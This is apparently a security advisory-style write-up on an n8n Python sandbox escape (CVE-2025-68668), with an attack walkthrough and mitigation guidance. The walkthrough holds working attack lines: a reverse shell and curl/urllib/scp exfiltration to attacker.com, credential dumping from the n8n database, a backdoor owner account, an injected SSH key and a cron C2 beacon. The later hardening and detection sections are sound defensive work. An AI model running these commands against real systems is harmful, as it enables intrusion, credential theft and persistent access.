n8n Critical Python Sandbox Bypass (CVE-2025-68668)

CVE-2025-68668 CVSS 9.9 RCE Sandbox Bypass n8n Python

Overview

A critical vulnerability in n8n workflow automation platform allows authenticated users with workflow creation/modification permissions to execute arbitrary system commands on the host server running n8n.

CVE-2025-68668 is a sandbox escape vulnerability in the Python Code Node that uses Pyodide (WebAssembly-based Python runtime) for executing Python code within workflows. The sandbox, intended to isolate Python code execution and prevent system-level access, contains bypassable restrictions that permit malicious code injection to break out of the isolated environment and execute OS-level shell commands with the same privileges as the n8n process (often running as root or administrative user in containerized deployments).

With a CVSS score of 9.9 (Critical), the vulnerability requires only authenticated access and workflow create/modify permissions—privileges commonly granted to legitimate n8n users for automation development. Attackers can craft malicious workflows containing Python Code Nodes with sandbox escape payloads that invoke system commands via Python's os.system(), subprocess, or similar APIs that should be blocked but are accessible due to incomplete sandbox isolation.

The vulnerability affects n8n versions ≥ 1.0.0 and < 2.0.0, impacting a significant portion of deployed n8n instances used by organizations for business process automation, API integration, data processing, and cloud orchestration. n8n's widespread adoption in enterprises for automating sensitive workflows (CRM integration, payment processing, HR systems, cloud infrastructure management) makes this vulnerability particularly dangerous, as compromised instances expose automation credentials, API keys, database connections, and cloud service access.

The vendor patched the vulnerability in n8n 2.0.0 by improving sandbox isolation and implementing safer execution models, but organizations running earlier versions remain at critical risk until upgraded or mitigated through disabling Python Code Node or enabling stricter execution sandboxes via environment variables.

---

Vulnerability Specifications

Attribute	Details
CVE ID	CVE-2025-68668
CVSS Score	9.9 (Critical)
Vulnerability Type	Sandbox Escape, Remote Code Execution (RCE), Code Injection
Affected Product	n8n (workflow automation platform)
Vendor	n8n.io
Affected Component	Python Code Node (using Pyodide runtime)
Affected Versions	n8n ≥ 1.0.0 and < 2.0.0
Patched Versions	n8n 2.0.0 and later
Attack Vector	Network (authenticated access to n8n web interface)
Attack Complexity	Low (simple workflow creation with malicious Python code)
Privileges Required	Low (authenticated user with workflow create/modify permissions)
User Interaction	None (workflow execution can be triggered automatically or manually)
Scope	Changed (attacker escapes n8n application context to host OS)
Confidentiality Impact	High (access to filesystem, environment variables, secrets, credentials)
Integrity Impact	High (arbitrary file modification, malware installation, backdoors)
Availability Impact	High (service disruption, resource exhaustion, denial of service)
Exploit Availability	Not publicly detailed (vendor advisory released, exploitation details limited)
Exploit Complexity	Low (once authentication obtained, crafting exploit straightforward)
Python Runtime	Pyodide (WebAssembly-based Python 3.x)
Sandbox Technology	Pyodide isolated execution environment (flawed in affected versions)
Public Awareness	High (CVSS 9.9 critical severity, vendor advisory, security news coverage)

---

Technical Details

n8n Architecture and Python Code Node

n8n Overview:

• Workflow Automation Platform: No-code/low-code tool for building automation workflows
• Node-Based Design: Workflows composed of nodes (triggers, actions, logic, code)
• Use Cases: API integration, data transformation, business process automation, cloud orchestration
• Deployment: Self-hosted (Docker, Kubernetes, bare metal) or n8n Cloud
• User Roles: Admin, Member (can create/edit workflows), Read-only

Python Code Node:

• Purpose: Execute custom Python code within workflows for data processing, transformations, calculations
• Runtime: Uses Pyodide (Python compiled to WebAssembly, runs in isolated environment)
• Sandbox Intent: Isolate Python code execution to prevent access to:
• Host filesystem
• Network sockets (except allowed API calls)
• System commands (os.system, subprocess)
• n8n process memory and credentials
• Typical Usage: Data parsing, JSON manipulation, mathematical operations, text processing

Pyodide Sandbox Architecture:

n8n Workflow
    ↓
Python Code Node
    ↓
Pyodide Runtime (WebAssembly)
    ↓
Isolated Sandbox (intended)
    - Limited Python standard library
    - No os.system(), subprocess
    - No file I/O (restricted)
    - No network access (restricted)
    ↓
Should NOT access: Host OS

Attack Prerequisites

1. Authenticated Access: Attacker must have valid n8n account

   • Obtained via:
     • Legitimate user account (insider threat)
     • Compromised credentials (phishing, credential stuffing, password spraying)
     • Weak default credentials (if n8n deployed with default admin:admin)
     • Social engineering (tricking admin to create account)

2. Workflow Create/Modify Permission: Most n8n users have this by default

   • "Member" role (standard role) grants workflow creation
   • Only "Read-only" users restricted from creating workflows

Exploitation Scenario

Step 1: Attacker Authenticates

• Login to n8n web interface with compromised or legitimate credentials

Step 2: Create Malicious Workflow

• Navigate to Workflows → Create New Workflow
• Add trigger (e.g., Manual Trigger, Webhook, Schedule)
• Add Python Code Node

Step 3: Inject Sandbox Escape Code

# Malicious Python Code Node content
import importlib

# Bypass sandbox to access os module
os_module = importlib.import_module('os')

# Execute reverse shell command
reverse_shell = "bash -i >& /dev/tcp/attacker.com/4444 0>&1"
os_module.system(reverse_shell)

# Alternative: Exfiltrate credentials
n8n_config = open('/root/.n8n/database.sqlite', 'rb').read()
import base64
exfil_data = base64.b64encode(n8n_config).decode()

# Send to attacker via HTTP (if network allowed)
import urllib.request
urllib.request.urlopen(f'http://attacker.com/exfil?data={exfil_data}')

Step 4: Execute Workflow

• Trigger workflow manually or via webhook
• Python Code Node executes → Sandbox escape → Commands run on host

Step 5: Post-Exploitation

• Reverse shell provides interactive access to host
• Attacker enumerates n8n configuration, database, stored credentials
• Lateral movement to connected systems using harvested credentials

---

Attack Scenario

Step-by-Step Exploitation

1. Initial Access: Credential Compromise
   Attacker targets n8n instance deployed at https://automation.targetcompany.com. Gains credentials via:

   • Phishing: Sends phishing email to IT automation team, steals n8n login credentials
   • Credential Stuffing: Tests leaked credentials from previous breaches against n8n login
   • Weak Credentials: n8n deployed with default admin credentials (admin:admin) not changed

   Attacker obtains credentials: Username: automation-dev, Password: AutomateAll2024

2. Authentication to n8n
   Attacker logs into n8n web interface:

   URL: https://automation.targetcompany.com/
   Username: automation-dev
   Password: AutomateAll2024
   

   Successfully authenticated. User has "Member" role with workflow create/edit permissions.

3. Create Malicious Workflow
   Attacker navigates to Workflows → New Workflow. Creates workflow:

   • Workflow Name: "Data Processing Utility" (appears benign)
   • Trigger: Manual Trigger (for controlled execution)
   • Node 1: Python Code Node

4. Inject Sandbox Escape Code
   In Python Code Node, attacker enters malicious code:

   # Reconnaissance: Enumerate system
   import importlib
   os = importlib.import_module('os')
   
   # Gather system information
   hostname = os.popen('hostname').read()
   user = os.popen('whoami').read()
   system_info = os.popen('uname -a').read()
   
   # Exfiltrate to attacker server
   exfil_data = f"Host: {hostname}\nUser: {user}\nSystem: {system_info}"
   
   # Write to accessible location for retrieval
   os.popen(f"curl -X POST -d '{exfil_data}' http://attacker.com/exfil").read()
   
   return {"status": "Data processed successfully"}
   

   Workflow saved.

5. Execute Workflow
   Attacker clicks "Execute Workflow" button. Python Code Node executes:

   1. importlib.import_module('os') → Bypasses sandbox, loads os module
   2. os.popen() executes system commands: hostname, whoami, uname
   3. Commands run with n8n process privileges (likely root in Docker container)
   4. Results exfiltrated via curl to attacker.com
   

   Attacker's server receives:

   Host: n8n-production-server
   User: root
   System: Linux n8n-production-server 5.15.0-91-generic x86_64 GNU/Linux
   

   Confirmation: RCE successful, running as root user.

6. Deploy Reverse Shell
   Attacker modifies workflow to establish persistent access:

   import importlib
   os = importlib.import_module('os')
   
   # Create reverse shell
   reverse_shell = """
   bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
   """
   os.popen(reverse_shell)
   
   return {"status": "Processing initiated"}
   

   Execute workflow → Reverse shell connects to attacker's netcat listener:

   # Attacker's machine
   nc -lvp 4444
   Listening on 0.0.0.0 4444
   Connection received on automation.targetcompany.com 54321
   
   root@n8n-production-server:/usr/src/app#
   

   Attacker now has interactive root shell on n8n host.

7. Credential Harvesting
   From reverse shell, attacker enumerates n8n secrets:

   # Access n8n configuration
   cat /root/.n8n/config
   
   # Extract database credentials
   cat /root/.n8n/database.sqlite
   sqlite3 /root/.n8n/database.sqlite "SELECT * FROM credentials_entity"
   
   # Results: API keys, OAuth tokens, database passwords stored in workflows
   - AWS Access Key: AKIAIOSFODNN7EXAMPLE
   - Salesforce OAuth Token: 00D5j000000example!ARsAQJ...
   - PostgreSQL Password: ProdDB_P@ssw0rd123
   - Stripe API Key: sk_live_51Hbxxxxxxxxxxxxx
   

   Attacker harvests hundreds of credentials for connected services: AWS, Azure, Salesforce, Stripe, databases, SaaS applications.

8. Data Exfiltration
   Attacker downloads sensitive automation workflows:

   # Copy n8n database (contains all workflows and credentials)
   scp /root/.n8n/database.sqlite attacker@attacker.com:/loot/
   
   # Export workflow definitions
   n8n export:workflow --all --output=/tmp/workflows.json
   scp /tmp/workflows.json attacker@attacker.com:/loot/
   

   Workflows contain:

   • Customer data processing logic (PII handling)
   • Payment processing flows (credit card data paths)
   • HR automation (employee records, salary information)
   • Cloud infrastructure automation (AWS/Azure configurations)

9. Lateral Movement
   Using harvested credentials, attacker pivots to connected systems:

   # Access AWS using stolen credentials
   export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
   export AWS_SECRET_ACCESS_KEY=[stolen_secret]
   aws s3 ls  # Lists all S3 buckets
   aws ec2 describe-instances  # Enumerates EC2 infrastructure
   
   # Access production database
   psql -h prod-db.company.local -U admin -d production
   # Password: ProdDB_P@ssw0rd123 (from n8n credentials)
   # SELECT * FROM customers;  -- Exfiltrate customer database
   

   Attacker gains access to:

   • AWS cloud infrastructure (EC2, S3, RDS)
   • Production databases (customer data, financial records)
   • Salesforce CRM (customer relationships, sales data)
   • Payment processor (Stripe account, transaction history)

10. Persistence and Backdoors
    Attacker establishes long-term access:

    # Create backdoor admin account in n8n database
    sqlite3 /root/.n8n/database.sqlite "INSERT INTO user (email, password, globalRole) VALUES ('support@company.com', '[hashed_password]', 'global:owner')"
    
    # Add SSH key for persistent access
    echo "ssh-rsa AAAAB3NzaC1... attacker@evil" >> /root/.ssh/authorized_keys
    
    # Create cron job for periodic C2 beacon
    echo "*/5 * * * * curl http://attacker.com/beacon?host=$(hostname)" | crontab -
    
    # Hide malicious workflow (rename to system-like name)
    # Workflow: "Internal System Health Check" (appears legitimate)
    

    Attacker maintains access even if original credentials revoked.

---

Impact Assessment

ConfidentialityIntegrityAvailabilityScope

Complete exposure of automation secrets and connected systems:

• Workflow Credentials: API keys, OAuth tokens, database passwords, service account credentials stored in n8n exposed to attackers
• Connected Services: Access to all integrated systems (AWS, Azure, Salesforce, databases, SaaS apps, payment processors)
• Customer Data: Workflows processing customer PII, financial data, health records accessible and exfiltrated
• Business Logic: Proprietary automation workflows reveal competitive advantages, operational processes, integration architectures
• Host Filesystem: Access to n8n server filesystem exposes configuration files, logs, environment variables, other applications on same host
• Network Position: Compromised n8n often in trusted network zone with access to internal systems, databases, cloud infrastructure

Confidentiality breach cascades across entire automated ecosystem connected to n8n.

Attackers can manipulate automations and data:

• Workflow Tampering: Modify existing workflows to inject malicious logic (data theft, fraud, sabotage)
• Data Manipulation: Alter data being processed by workflows (financial transactions, customer records, inventory)
• Credential Replacement: Replace legitimate API keys with attacker-controlled keys, redirecting integrations
• Malware Deployment: Install backdoors, rootkits, ransomware on n8n host
• Configuration Changes: Modify n8n settings to weaken security (disable logging, create admin accounts)
• Supply Chain Poisoning: If n8n workflows deploy code/updates to other systems, inject malicious payloads

Integrity violations undermine trust in automated business processes.

Service disruption and operational impact:

• n8n Service Disruption: Attackers can crash n8n process, corrupt database, delete workflows
• Resource Exhaustion: Deploy cryptocurrency miners or DoS payloads consuming CPU/memory
• Ransomware: Encrypt n8n database, workflows, host filesystem, demand ransom for recovery
• Workflow Deletion: Delete critical automation workflows, disrupting business operations
• Downstream Outages: Tampered workflows cause cascading failures in integrated systems
• Incident Response Overhead: Investigation, remediation, credential rotation across hundreds of integrated services

Availability impact severe for organizations heavily reliant on n8n for business-critical automation.

Compromise extends across entire automation ecosystem:

• Multi-Cloud: n8n credentials often include AWS, Azure, GCP access—compromise affects entire cloud infrastructure
• SaaS Applications: Access to Salesforce, HubSpot, Zendesk, Slack, etc. compromises customer/employee data
• Databases: Production database credentials expose core business data
• Payment Systems: Stripe, PayPal, bank API credentials enable financial fraud
• HR Systems: Access to employee records, payroll systems, identity providers
• DevOps Pipelines: n8n often used in CI/CD automation—compromise affects software supply chain

Single n8n compromise provides attacker with "keys to the kingdom" across organization's digital infrastructure.

---

Mitigation Strategies

Immediate Patching (Critical Priority)

• Upgrade to n8n 2.0.0 or Later: Apply vendor patch immediately:

  # Docker deployment
  docker pull n8nio/n8n:2.0.0
  docker-compose down
  docker-compose up -d
  
  # npm deployment
  npm update -g n8n@2.0.0
  systemctl restart n8n
  
  # Verify version
  n8n --version
  # Expected: 2.0.0 or higher
  

• Patch Verification: Confirm vulnerability remediated:

  • Review n8n 2.0.0 release notes for CVE-2025-68668 mention
  • Test Python Code Node with known bypass techniques (should fail)
  • Check logs for successful upgrade

Temporary Mitigations (Pre-Patch)

If immediate upgrade not feasible, implement defense-in-depth controls:

Option 1: Disable Python Code Node Entirely

# Set environment variable to exclude Python Code Node
export NODES_EXCLUDE='["n8n-nodes-base.code"]'

# Docker: Add to docker-compose.yml
services:
  n8n:
    environment:
      - NODES_EXCLUDE=["n8n-nodes-base.code"]

# Restart n8n
systemctl restart n8n  # or docker-compose restart

Impact: Existing workflows using Python Code Nodes will fail. Migrate to JavaScript Code Node or other nodes before applying.

Option 2: Disable Python Support in Code Node

# Disable Python execution, keep JavaScript
export N8N_PYTHON_ENABLED=false

# Docker
services:
  n8n:
    environment:
      - N8N_PYTHON_ENABLED=false

Impact: Python Code Nodes disabled, JavaScript Code Nodes still functional.

Option 3: Enable Safer Execution Sandbox

# Enable stricter sandboxing (requires n8n 1.x with runner support)
export N8N_RUNNERS_ENABLED=true
export N8N_NATIVE_PYTHON_RUNNER=true

# Docker
services:
  n8n:
    environment:
      - N8N_RUNNERS_ENABLED=true
      - N8N_NATIVE_PYTHON_RUNNER=true

Note: This may require additional configuration and testing. Verify compatibility with your n8n version.

Access Control Hardening

• Principle of Least Privilege: Restrict workflow creation permissions:

  Audit n8n users:
  1. Review all user accounts in Settings → Users
  2. Identify users who need workflow creation (minimal set)
  3. Downgrade unnecessary users to "Read-only" role
  4. Remove unused/inactive accounts
  

• Multi-Factor Authentication: Enable MFA for all n8n accounts:

  Settings → Security → Enable MFA
  Require all users to configure TOTP (Google Authenticator, Authy)
  

• Strong Password Policy: Enforce password complexity:

  Minimum 16 characters
  Require uppercase, lowercase, numbers, symbols
  Rotate passwords every 90 days
  Prohibit password reuse
  

• Account Monitoring: Log and alert on suspicious account activity:

  • New user account creations
  • Role changes (especially elevation to admin/owner)
  • Failed login attempts (brute force indicators)
  • Login from unusual IP addresses or geolocations

Container and Deployment Security

• Run n8n as Non-Root User: Limit blast radius if compromised:

  # Dockerfile
  FROM n8nio/n8n:2.0.0
  USER node  # Run as non-root user
  

  # Docker Compose
  services:
    n8n:
      user: "1000:1000"  # UID:GID for non-root user
      security_opt:
        - no-new-privileges:true
  

• Container Hardening:

  services:
    n8n:
      read_only: true  # Read-only root filesystem
      tmpfs:
        - /tmp
        - /var/tmp
      cap_drop:
        - ALL
      cap_add:
        - NET_BIND_SERVICE  # Only necessary capabilities
  

• Network Segmentation: Isolate n8n in secure VLAN:

  n8n DMZ:
  - Allow inbound: HTTPS (443) from internal network/VPN only
  - Allow outbound: HTTPS to approved APIs/services only
  - Deny: Direct internet access, lateral movement to corporate network
  

• Secrets Management: Use external secrets manager instead of storing in n8n:

  # Use HashiCorp Vault, AWS Secrets Manager, Azure Key Vault
  export N8N_VAULT_ADDR=https://vault.company.internal
  export N8N_VAULT_TOKEN=[token]
  
  # Reference secrets via vault:// URLs in workflows
  # vault://secret/data/aws-credentials
  

Monitoring and Detection

• Audit Workflow Creation/Modification:

  Enable audit logging:
  export N8N_LOG_LEVEL=debug
  export N8N_LOG_OUTPUT=file
  export N8N_LOG_FILE=/var/log/n8n/audit.log
  
  Monitor logs for:
  - Workflow creation events
  - Python Code Node additions
  - Workflow executions (especially manual triggers)
  - Error messages indicating sandbox escape attempts
  

• Python Code Node Detection: Alert on Python Code Node usage:

  -- Query n8n database for workflows with Python Code Nodes
  SELECT workflow_id, name, nodes
  FROM workflow_entity
  WHERE nodes LIKE '%n8n-nodes-base.code%'
    AND nodes LIKE '%"mode":"runOnceForEachItem","language":"python"%';
  

• System Command Execution Detection: Monitor host for suspicious activity:

  # Use auditd to log process execution
  auditctl -w /usr/bin/bash -p x -k n8n_shell
  auditctl -w /usr/bin/curl -p x -k n8n_exfil
  auditctl -w /usr/bin/wget -p x -k n8n_download
  
  # Alert when n8n process spawns shells or network tools
  

• Network Traffic Monitoring:

  • Monitor outbound connections from n8n container/host
  • Alert on connections to unexpected external IPs (C2 indicators)
  • Block connections to Tor, anonymous proxies, known malicious IPs

---

Resources

Vendor Security Advisory

• New n8n Vulnerability (9.9 CVSS) Lets Authenticated Users Execute System Commands
• NVD - CVE-2025-68668

---

Last Updated: January 6, 2026